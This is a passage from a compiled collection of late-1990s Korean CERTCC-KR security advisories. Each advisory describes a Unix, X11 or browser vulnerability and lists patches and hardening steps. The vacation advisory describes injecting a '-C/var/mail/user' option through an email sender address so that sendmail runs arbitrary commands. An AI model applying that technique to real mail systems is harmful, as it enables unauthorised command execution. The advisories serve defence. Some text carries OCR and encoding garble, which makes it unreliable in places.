핸드폰 : 018-312-4119 팩스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-78.txt

Page 903: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-79-BSDIOSignals

------------------------------------------

최초발표일 : 97. 9. 15

갱신일 및 갱신 내용

출처 : OpenBSD Security Advisory

--제목--------------------------------------

BSD I/O Signals 취약점과 대책

--개요--------------------------------------

이 취약성은 4.4BSD 커널내의 권한이 없는 일반 사용자가 시스템상에 수행중인 임의의 프

로세스로 특정 Signal을 보낼 수 있도록 한다. 운영체제와 목적 프로그램에 따라서 특정 프

로그램의 수행을 방해하거나, 프로세스를 중지할 수 있다.

--설명--------------------------------------

유닉스 운영체제에서 구현된 프로그램들은 여러 태스크를 조작하기 위하여 “asynchronous

I/O(비동기 I/O)"를 사용한다. 비동기 I/O는 입력 소스로부터 읽을 데이터가 준비되었음을

프로세스에게 알리는데, 이때 커널은 시그널(signal)을 이용하여 데이터가 준비되었음을 알

린다.비동기 I/O는 fcntl() 시스템 콜을 사용하여 디스크립터(descriptor)를 활성화 시킨거

나, FIOASYNCH ioctl()을 이용하여 디스크립터를 활성화 시킨다. 복수의 프로세스들을 사

용하는 어플리케이션의 경우에, 시그널은 디스크립터를 다른 프로세서에 전달하기 위하여

사용한다. 비동기 I/O 오퍼레이션 코드의 문제로 소켓이나 장치 파일 디스크립터를 사용할

때 프로그램이 임의의 프로세스 ID를 명시할 수 있도록 한다. 프로그램 소유가 아닌 프로세

스를 시그널 전달의 수신자로 설정하면, 커널은 임의의 프로그램에 시그널을 발생시키게 된

다. 부가적으로, 취약점을 가진 커널들은 I/O 시그널을 보낼 프로세스를 결정할 때, 프로세

스와 관련된 신뢰성의 자취를 유지하지 않기 때문에 침입자 소유의 프로세스에 PID를 명시

할 수 있고, 그 프로세스를 파괴할 수 있고, 그것의 PID를 재사용 할 수 있다. PID를 획득

한 새로운 프로세스는 그 소유자에 관계없이 침입자에 의해 시그널을 보내게 된다.

--해결책-------------------------------------

OpenBSD 패치를 설치한다.

패치의 내용은 참조된 원문에 있다.

--기타--------------------------------------

자세한 설명은 원문을 참조하기 바람.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 3488-4129

Email : [email protected]

Page 904: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-79.txt

Page 905: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-80-RdistBufferOverflow

------------------------------------------

최초발표일 : 97. 9. 16

갱신일 및 갱신 내용:

출처 : CERT(sm) Coordination Center

--제목--------------------------------------

rdist의 Buffer Overflow 대책

--개요--------------------------------------

취약점이 있는 rdist가 있는 시스템은 지역사용자가 루트 권한을 획득할 수 있다.

--설명--------------------------------------

rdist 프로그램은 한 호스트에서 다른 호스트로 파일을 분산하기 위하여 사용하는 UNIX 운

영체제 유틸리티이다. 시스템에서 rdist는 권한이 있는 소스 포트를 이용하여 네트워크 연결

을 한다. rdist는 연결을 위하여 루트 권한을 요구하기 때문에 rdist의 set-user-id는 root

로 설치된다. 이 취약점은 expstri에 있는데, 매개변수로서 제공되는 매크로가 sprintf()를통

해 확장될수 있기 때문이다. expstr은 스택 프래임에 대한 중복 쓰기가 가능하고, 만약 적

절한 기계 코드가 제공될 수 있다면, 공격자는 root 권한으로 임의의 프로그램을 실행할 수

있다.

--해결책-------------------------------------

단계(A)를 따르거나, 패치(B)를 설정하라.

(A)rdistdml set-user-id가 root인지 체크하는 방법

find 명령어를 사용하여 다음과 같이 하라.

find FILE_SYSTEM_NAMES -xdev -type f -user root ₩

-name '*rdist*' -pern -04000 -exec ls -l '{}' ₩; ₩

-ok chmod 0500 '{}' ₩;

(B)패치를 설치하라.

Berkeley Software Design, Inc .(BS야)

Digital Equipment Dorp.

FreeBSD, Inc.

Hewlett-Packard Company

IBM Corporation

NEC Corporation

The Santa Cruz Operation, Inc.(SCO)

Siemens-Nixdorf

Silicon Graphics Inc.(SGI)

Sun Microsystems. Inc.

--기타--------------------------------------

ridst가 필요하고, 패치 버전이 없으며 rdist-6.1.3을 설치하라.

ftp://usc.edu/pub/rdist-6.1.3.tar.gz

Page 906: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-80.txt

Page 907: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문 : KA-97-81-Vacation

------------------------------------------

최초발표일 : 97. 9. 1

갱신일 및 갱신 내용:

출처 : Secure Network Inc. Security Advisory

--제목--------------------------------------

Vacation 취약점과 대책

--개요--------------------------------------

원격 사용자들은 vacation 프로그램을 실행하는 사용자의 계정에 대한 접근권한을 획득할

수 있다.

--설명--------------------------------------

Vacation은 수신 메일에 대하여 자동으로 응답을 하는 명령어이다. Vacation이 수신 메시

지에 응답할 때, vacation 은 명령행에서 송신자의 주소를 명시하고 sendmail 명령어를 호

출한다. sendmail 명령행 옵션을 명시함으로써, sendmail이 대체 환경(alternate

configuration)파일을 함께 호출하도록 한다. 이 대체 환경 파일은 독립된 email 메시지나

또는 anoonymous FTP를 통하여 시스템으로 보낼수 있다. 메시지를 파싱할 때 새로운

sendmail 환경 파일은 sendmail 이 원격지 시스템의 임의의 명령어를 수행할 수 있다. 대

리 환경 파일(예를 들어, -C/var/mail/user)에 대한 패스로 구성되는 email 메시지의 발신

주소를 명시함으로써, vacation 프로그램은 sendmail을 호출하고, 환경 파일로써

/var/mail/user를 사용한다. 사용자의 mailbox가 유효한 sendmail 환경 옵션을 가진다면,

sendmail은 sendmail 환경 파일로서 사용자의 메일 스풀을 이용할 것이다. Sendmail은 자

신의 환경 파일로부터 임의의 쉘 명령어의 수행을 유발할 수 있다. 이 공격에 대책으로는

-C 대신에 다른 sendmail옵션을 사용하면 된다.

문제가 되는 시스템

AIX Version 4.2, sendmail 8이 설치된 version 4.1

FreeBSD 1997.8.28일 이전의 모든 버전

NetBSD 1997.8.28일 이전의 모든 버전

OpenBSD 1997.7.29일 이전의 모든 버전

Solaris 공용도메인(poublic domain)의 sendmail을 설치한 모든 버전

Linux sunsite.unc.edu의 두 개의 버전

HP-UX 공용 도메인(public domain)의 sendmail을 설치한 모든 버전

--해결책-------------------------------------

IBM AIX

Page 908: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

다음 참조 바람

Abstract: "SECURITY: /usr/bin/vacation vulnerability"

AIX4.1 : 1X70228

AIX4.2 : 1X70233

HP-UX

Solaris

곧 패치 버전이 발표될 것임

OpenBSD

http://www.openbsd.org를 참조

FreeBSD

FressBSD 의 2.2.5-RELEASE 와 3.0-RELEASE 를 사용할 것

NetBSD

NetBSD -current 19970828 이후의 새 버전으로 upgrade

다른 시스템

ftp://ftp.snet.com/pub/patches/vacation.tar.Z를 참조

--기타--------------------------------------

자세한 정보는 원본을 참조

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-81.txt

Page 909: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-82-HPUXMediainit

------------------------------------------

최초발표일 : 97. 10. 2

갱신일 및 갱신 내용:

출처: HEWLETT-PACKARD SECURITY BULLETIN:#00071

--제목--------------------------------------

HP-UX mediainit 취약점과 대책

--개요--------------------------------------

HP-UX release 9.x 와 10.x 의 mediainit(1) 명령어는 일반사용자들에게 허가되지 않는

행위를 수행할 수 있게 한다.

--설명--------------------------------------

HP 9000 시리즈 700/800s 상에서 운영되는 HP-UX release 9.x 와 10.x 의

mediainit(1) 명려어는 일반 사용자들이 허가되지 않은 행위를 수행하도록 한다.

--해결책-------------------------------------

HP Electronic Support Center의 패치를 설치하라.

PHCO_12326 - s700/800 HP-UX release 10.30용

PHCO_12326 - s700/800 HP-UX release 10.20용

PHCO_12326 - s700/800 HP-UX release 10.10용

PHCO_12326 - s700/800 HP-UX release 10.01용

PHCO_12326 - s800 HP-UX release 9.x용

PHCO_12326 - s700 HP-UX release 9.x용

--기타--------------------------------------

기타 정보는 다음을 참조

http://us-surpport.external.hp.com

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전화 :02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018312-4119 팩스 : 3488-4129

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-82.txt

Page 910: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문:KA-97-83-swinstall

------------------------------------------

최초발표일 : 97.7.15

갱신일 및 갱신 내용 :

출처 :HEWLETT-PACKARD SECURITY ADVISORY: #0064

--제목--------------------------------------

swinstall 취약점과 대책

--개요--------------------------------------

swinstall의 보안문제로 인하여 일반사용자가 루트 권한을 얻을 수 있다.

--설명--------------------------------------

HP 9000 시리즈의 700/800s 상에서 운용되는 HP-UX release 9.x 와 10.x 플랫폼에서

일반사용자가 루트 권한을 얻을 수 있다.

--해결책-------------------------------------

패치를 설치하시오

PHCO_10652 - HP-UX release 10.00 과 10.01

PHCO_10028 - HP-UX release 10.10

PHCO_11004 - HP-UX release 10.20

PHCO_11185 - HP-UX release 10.16

PHCO_11183 - HP-UX release 10.24

PHCO_12347 - s700 HP-UX release 9.x용

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전화 : 02-3488-419 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조:http://www.certcc.or.kr/adv/ka-83.txt

Page 911: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-84-Netscape Navigator

------------------------------------------

최초발표일 : 97.7.15

갱신일 및 갱신내용

출처 : CI-CIAC H76

--제목--------------------------------------

Netscape Navigator 의 취약점과 대책

--개요--------------------------------------

웹사이트 운영자가 방문자의 하드디스크의 파일들을 검색할 수 있다.

--설명--------------------------------------

웹사이트 운영자가 방문자의 하드디스크의 파일들을 검색할 수 있다. 이 취약성은

Netscape Navigator 2.0 3.0 4.0의 모든 플랫폼에 존재한다.

--해결책-------------------------------------

공식적인 패치는 없고 다음을 참조하라.

http://ww.netscape.com/flash3/misc/security_update.html

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 3488-4129

Email : cert@[email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조:http://www.certcc.or.kr/adv/ka-84.txt

Page 912: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-85-HPUXVuefle

------------------------------------------

최초발표일 : 97.9.11

갱신일 및 갱신내용

출처 : HEWLET-PACKARD SECURITY ADVISIRY: #00069

--제목--------------------------------------

HP-UX vuefile, vuepad, dtfile, & dtpad 취약점과 대책

--개요--------------------------------------

일반 사용자가 접근할 수 없는 디스플레이에 vuefile, vuepad, dtfile, 혹은 dtpad르 실행

하여 그들의 계정으로 접근할 수 있다.

--설명--------------------------------------

vuefile, vuepad, dtfile 그리고 dtpad는 사용자에 대한 인증과정을 거치지 않는다. 따라서

이러한 프로그램들은 X서버당 한 명의 사용자만 수행해야 한다. 이 취약점은 일반 사용자가

접근할 수 없는 디스플레이에 vuefile, vuepad, dtfile, 혹은 dtpad를 실행하여 그들의 계

정으로 접근할 수 있다.

--해결책-------------------------------------

슈퍼 유저 이외의 다른 계정은 vuefile, vuepad, dtfile, dtpad 명령어를 실행할 수 없도록

한다. 또한, 서로 다른 계정이 각각의 X서버에 로그인 되어 있다면 다른 X서버에 대하여

display 설정을 하고, 이 명령어를 실행할 수 없도록 해야 한다. 사용자 허가를 이해서는

.usr/vue/config/Xconfig 파일을 다음과 같이 변경하라.

# To enable R4 MIT-MAGIC-COOKIE-1 per-user authorization

#

Vuelogin*authorize: True

--기타--------------------------------------

다음을 참조하라.

http://us-support.externel.hp.com

Page 913: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 3488-4129

Email : cert@[email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조:http://www.certcc.or.kr/adv/ka-85.txt

Page 914: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-86-SUNLibX11

------------------------------------------

최초발표일 : 97.9.23

갱신일 및 갱신내용

출처 : internetMCI Security Group

--제목--------------------------------------

SUN libX11 취약점과 대책

--개요--------------------------------------

SUN에서 X 윈도우 시스템의 libX11 라이브러리에 취약점이 있다.

--설명--------------------------------------

libX11은 X 윈도우 시스템 라이브러리이다. libX11내의 버퍼에서 버퍼 오버플로우가 발생

할 수 있다. 버퍼 오버플로우 취약점은 libX11과 링크하는 setuid와 setgid 프로그램을 이

용하여 상위 권한을 획득할 수 있다.

--해결책-------------------------------------

다음의 패치를 이용하라.

OS version Patch ID

------------------

SunOS 5.5.1 103566-21

SunOS 5.5.1_x86 104241-03

SunOS 5.5 103210-21

SunOS 5.5_x86 104242-02

SunOS 5.4 1020057-41

SunOS 5.4_x86 103185-02

SunOS 5.3 101362-51

SunOS 4.1.4 100899-03

SunOS 4.1.3_U1 100899-03

--기타--------------------------------------

패치는 다음에 있다.

<URL:ftp://sunsolve1.sun.com/pub/patches/patches.html>

<URL:ftp://sunsolve1.sun.com/sunsolve/secbulletins>

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 3488-4129

Email : cert@[email protected]

Page 915: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조:http://www.certcc.or.kr/adv/ka-86.txt

Page 916: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-87-SSHX11

------------------------------------------

최초발표일 : 97. 9. 30

갱신일 및 갱신내용:

출처 : Ulrich Flegal

--제목--------------------------------------

SSH/X11 취약점과 대책

--개요--------------------------------------

SSH(Secure Shell) 서버의 외부 .Xauthority 파일을 사용할 수 있는 일반 사용자들은 SSH

클라이언트의 X서버를 사용할 수 있고 SSH 세션이 있는 클라이언트는 다양한 공격을 받을

수 있다.

--설명--------------------------------------

방화벽 환경에서 불안정한 프로토콜은 네트웍을 통과할 수 없고 보호된 네트웍 환경에 들어

갈 수 없다. 하지만 SSH는 TCP 접속을 중계할 수 있고 특히 X11 트래픽은 디폴트로 중계

된다. 만약 SSH 접속에 제대로 보안 구성이 안 되어 있으면, 불안정한 프로토콜이 들어 올

수 있게 된다.

--해결책-------------------------------------

클라이언트 측(운영자):

SSH 클라이언트를 “--disable_client_x11_forwarding"으로 설정하라. /etc/ssh_config 내

의 “ForwardX11"을 “no"로 설정하라. 특권 포트의 연결은 22번 포트로 접속하도록 패킷

필터를 설정하라.

클라이언트 측(사용자):

“~/.ssh/config"내의 ”ForwardX11"을 “no”로 설정하라.

/etc/ssh_config 내의 “X11Forwarding"을 “no"로 설정하라.

서버측(운영자):

SSH 서버를 “--disable_client_x11_forwarding"으로 설정하라. /etc/ssh_config 내의

”X11Forwarding"을 “no"로 설정하라.

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 3488-4129

Email : cert@[email protected]

Page 917: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조:http://www.certcc.or.kr/adv/ka-87.txt

Page 918: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-88-HPUXX11Motif

------------------------------------------

최초발표일 : 1997. 9. 9

갱신일 및 갱신내용:

출처 : CIAC Bulletin H-103

--제목--------------------------------------

HPUX X11/Motif 취약점과 대책

--설명--------------------------------------

HP-UX 9.x 및 10.x 버전의 X11/Motif 라이브러리에 버퍼오버플로우가 발생할 수 있는 취

약점이 존재하며, 따라서 이 라이브러리에 링크되어 있는 suid/sgidvmfhrmfoa들이 버퍼오

버플로우를 이용한 해킹에 이용될 수 있다. HP-UX 9.x와 HP-UX 10.x에 대한 패치가 제

공되었다.

--해결책-------------------------------------

HP사에서 제공하고 있는 패치를 가져와서 설치한다.

ftp://us-support.external.hp.com/hp-ux_patches

--기타--------------------------------------

보다 상세한 내용을 알기 위해서는 CIAC 발표 원문을 참조바람

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 3488-4129

Email : cert@[email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조:http://www.certcc.or.kr/adv/ka-88.txt

Page 919: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-89-SolDCEIntergratedLogin

------------------------------------------

최초발표일 : 97. 9. 25

갱신일 및 갱신내용:

출처 : CERT Vendor-Initiated Bulletin VB-97.08

--제목--------------------------------------

Solaris DCE Integrated login 버그 대책

--설명--------------------------------------

AFS와 함께 Transarc DCE Integrated login 프로그램(login.dce)을 사용할 경우보안상 허

점이 존재할 수 있다. AFS가 설치되어 있으나 시스템의 기본 위치에 AFS klog 바이너리가

설치되어 있지 않은 시스템에서 /bin/login 대신 Transarc의 솔라리스용 DCE Intergrated

login 프로그램(login.dce)을 사용하는 경우, 인가 받지 않은 사용자가 시스템에 불법적으로

접근 할 수 있다. 이때 침입자는 유효한 사용자 이름과 임의의 패스워드를 입력하여 시스템

에 로긴할 수 있다. 이러한 취약점은 login.dce가 다음과 같이 정해진 위치에서 AFS klog

를 발견할 수 없을 때 오동작을 하기 때문에 발생한다.

/opt/dcelocal/bin/klog

/usr/afsws/bin/klog

/usr/vice/etc/klog

위에 열거된 위치에 klog가 존재하면 취약점이 생기지 않는다. 솔라리스 2.4와 2.5용

Transarc DCE 1.1을 임의의 버전의 AFS와 함께 사용할 때 취약점이 발생하며, AFS를 운

용하지 않는 시스템에서는 이러한 취약점이 생기지 않는다.

--해결책-------------------------------------

Transarc사에서 제공하는 패치를 설치한다.

솔라리스 2.4용 CCE 1.1 : patch 40과 이후

솔라리스 2.5용 DCE 1.1 : patch 25과 이후

http://www.transarc.com:80/afs/transarc.com/public/anon-ftp/auth/html/dce/dce_pathch

es.html

--기타--------------------------------------

보다 상세한 내용을 알기 위해서는 원문을 참조바람

Page 920: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 3488-4129

Email : cert@[email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조:http://www.certcc.or.kr/adv/ka-89.txt

Page 921: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-90-AIXnslookup

------------------------------------------

최초발표일 : 1998/01/20

갱신일 :

출처 : IBM-ERS Security Vulnerability Alert : ERS-SVA-E01-1997:008.1

--제목--------------------------------------

AIXnslookup 명령 취약점과 대책

--설명--------------------------------------

nslookup 명령은 일반 계정을 가진 사용자가 루트가 될 수 있는 취약점을 가지고 있다.

--해결책-------------------------------------

1. chmod 555 /usr/bin/nslookup 명령으로 setuid 비트를 제거한다.

2. 공식 패치를 설치한다. (http://service.software.ibm.com/aixsupport)

- AIX 4.1 : APAR - IX71464

- AIX 4.2 : APAR - IX70815

--기타--------------------------------------

http://www.certcc.or.kr/adv/ka-90.txt

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전화 : 02-3488-4119 삐삐 : 015-993-4571

핸드폰 : 018-312-4119 팩스 : 3488-4129

Email : cert@[email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조:http://www.certcc.or.kr/adv/ka-90.txt

Page 922: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-91-CountOverflow

------------------------------------------

최초작성일 : 1997/01/20

갱신일 :

출처 : CA-97.24

--제목--------------------------------------

Count.cgi 버퍼오버플로우 취약점과 대책

--설명--------------------------------------

웹페이지 사용자 접속수를 저장하거나 표시할 경우 많이 사용되는 이 프로그램은 인수

(argument)에 대해 한계검사를 하지않으므로 이 프로그램 수행도중내부스택을 덮어쓰는 공

격이 가능하게 된다. 공격자는 외부에서 httpd 프로세스수행권한으로 임의의 명령을 수행시

킬 수 있다.

--해결책-------------------------------------

1. 공격시도의 탐지방법(웹로그 검사)

#grep -i 'Count.cgi' {WWW_HOME}/logs/access_log

2. 패치버전(2.4)설치

http://WWW.fccc.edu/users/muquit/Count.html

--기타--------------------------------------

http://www.certcc.or.kr/adv/ka-91.txt

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 :015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-91.txt

Page 923: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-92-MSIE4.0 BufferOverflow

------------------------------------------

최초작성일 : 1997/1/21

갱신일 :

출처 : Lopht Security Advisory IE4.0

--제목--------------------------------------

MSIE4.0 버퍼오버플로우 취약점과 대책

--설명--------------------------------------

MISE4.0(Microsoft Internet Explorer)이 HTML문서를 디코딩할 경우에 URL프로토콜의

새로운 종류(type)인 “res://"(자신의 시스템내 DLL파일내의 자원에 접근시사용)를 파싱할

때 파일길이의 양이 265문자를 넘을 경우 스택버퍼오버플로우문제를 일으키며 공격자는 이

를 악용하여 악성코드를 수행 시킬 수 있다. 이 문제는 MSIE의 보안등급으로 최상등급으로

설정하여도 발생한다.

--해결책-------------------------------------

1. 다음에서 패치를 받아 설치한다.

http://www.microsoft.com/msdownload/ieplatform/ie4bufferpatch/patch.html

--기타--------------------------------------

보다 상세한 내용을 알기 위해서 원문을 참조바람

http://www.microsoft.com/ie/security/buffer.html

http://www.certcc.or.kr/adv/ka-92.txt

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 tm : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/kr-92.txt

Page 924: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KR 권고문: KA-97-93-Lynx Temporary Files

------------------------------------------

최초작성일 : 1998/01/22

갱신일 :

출처 : CERT VB-97.05

--제목--------------------------------------

Lynx 임시 파일 취약점과 대책

--설명--------------------------------------

Lynx는 텍스트형태의 웹브라우저로서 유닉스 시스템에서 수행중에 영구 임시파일을 tmp에

저장한다.

Lynx가 만드는 임시파일의 이름은 시스템의 다른 사용자가 쉽게 추측할 수 있고, 공격자

는 race condition을 이용하여 임시파일에 링크를 걸거나 다른 파일로 대체하는 등의 해킹

을 할 수 있다.

--해결책-------------------------------------

1. 아래에서 FOTEMODS 패치를 가져다가 적용하고, /tmp 디렉토리에 ‘sticky 비트’ 가 설

정 되어있는지 확인한다.

http://www.slcc.edu/lynx/fote/patches

drwxrwxrwt /tmp

sticky 비트가 설정되지 않았으면 다음과 같이 하여 설정한다.

# chmod 1777 /tmp

2. 다음과 같이 임시 파일이 저장되는 디렉토리를 /tmp가 아닌 다른 디렉토리로 지정한다.

가. Lynx2.7.1에서 lynx2-7-1/userdefs.h 파일내의 #define TEMP_SPACE 부분을 Lynx

를 실행하는 사용자만이 쓰기 가능하도록 설정된 디렉토리로 바꾼다.

나. LYNX_TEMP_SPACE 환경변수를 .profile, .cshrc 등의 파일에 지정해준다.

--기타--------------------------------------

http://www.certcc.or.kr/adv/ka-93.txt

Page 925: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

--한국정보보호센터 CERTCC-KR 침해사고 지원 안내----------------

전 화 : 02-3488-4119 삐 삐 : 015-993-4571

핸드폰 : 018-312-4119 팩 스 : 3488-4129

Email : [email protected]

침해사고 접수 방법은 http://www.certcc.or.kr/service.html을 참조 바람

참조 : http://www.certcc.or.kr/adv/ka-93.txt

Page 926: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

CERTCC-KA-98-94-Lynx download

------------------------------------------

최초작성일 : 1998/01/22

갱신일 :

출처 : CERT VB-97.06

--제목--------------------------------------

Lynx 다운로드 취약점과 대책

--설명--------------------------------------

Lynx 2.7.1 이하 버전이 설치되어있는 시스템에서 일반 사용자가 임의의 파일을 실행하거

읽을 수 있다.

1. Captive Lynx installation

